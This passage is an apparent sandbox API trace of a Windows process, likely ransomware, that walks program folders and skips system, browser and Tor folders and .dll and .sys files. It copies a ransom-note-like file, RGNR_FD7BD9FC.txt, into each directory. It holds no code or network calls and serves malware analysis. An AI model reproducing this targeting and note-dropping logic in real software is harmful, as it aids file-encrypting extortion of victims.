[0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="iconcache.db") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="ntldr") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="ntuser.dat") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="ntuser.dat.log") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="ntuser.ini") returned 1 [0078.016] lstrcmpiW (lpString1="WTSP61MS.DLL", lpString2="thumbs.db") returned 1 [0078.016] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.016] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.016] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.016] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0078.016] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.017] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2=".") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="..") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Windows") returned -1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Windows.old") returned -1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Tor browser") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Internet Explorer") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Google") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Opera") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Opera Software") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Mozilla") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="Mozilla Firefox") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="$Recycle.Bin") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="ProgramData") returned 1 [0078.017] lstrcmpiW (lpString1="Triedit", lpString2="All Users") returned 1 [0078.017] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.017] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="Triedit" | out: lpString1="Triedit") returned="Triedit" [0078.017] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\" [0078.017] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\" [0078.017] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RGNR_FD7BD9FC.txt" [0078.017] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.019] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*" [0078.019] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0078.019] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.019] lstrcpyW (in: lpString1=0x1eb222, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.019] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.019] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.019] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.019] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.019] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.019] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0078.019] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Windows.old") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Tor browser") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Internet Explorer") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Google") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Opera") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Opera Software") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Mozilla") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="Mozilla Firefox") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="$Recycle.Bin") returned 1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="ProgramData") returned -1 [0078.020] lstrcmpiW (lpString1="en-US", lpString2="All Users") returned 1 [0078.020] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0078.020] lstrcpyW (in: lpString1=0x1eb636, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0078.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\" [0078.020] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\" [0078.020] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\RGNR_FD7BD9FC.txt" [0078.020] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.022] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*" [0078.022] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0078.023] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.023] lstrcpyW (in: lpString1=0x1ea756, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.023] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.023] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.023] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.023] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.023] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.023] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.023] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x44 [0078.023] lstrcpyW (in: lpString1=0x1eab6a, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.023] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.023] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.023] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.023] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.027] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.027] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.027] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.027] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.029] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.029] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80be5aa0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.030] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3e [0078.030] lstrcpyW (in: lpString1=0x1eb636, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.030] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.030] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.030] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80be5aa0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80be5aa0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.030] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.030] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2=".") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="..") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Windows") returned -1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Windows.old") returned -1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Tor browser") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Internet Explorer") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Google") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Opera") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Opera Software") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Mozilla") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="Mozilla Firefox") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="$Recycle.Bin") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="ProgramData") returned 1 [0078.030] lstrcmpiW (lpString1="VBA", lpString2="All Users") returned 1 [0078.030] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.030] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="VBA" | out: lpString1="VBA") returned="VBA" [0078.030] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\" [0078.030] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\" [0078.030] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RGNR_FD7BD9FC.txt" [0078.030] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.047] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*" [0078.047] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0078.047] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.047] lstrcpyW 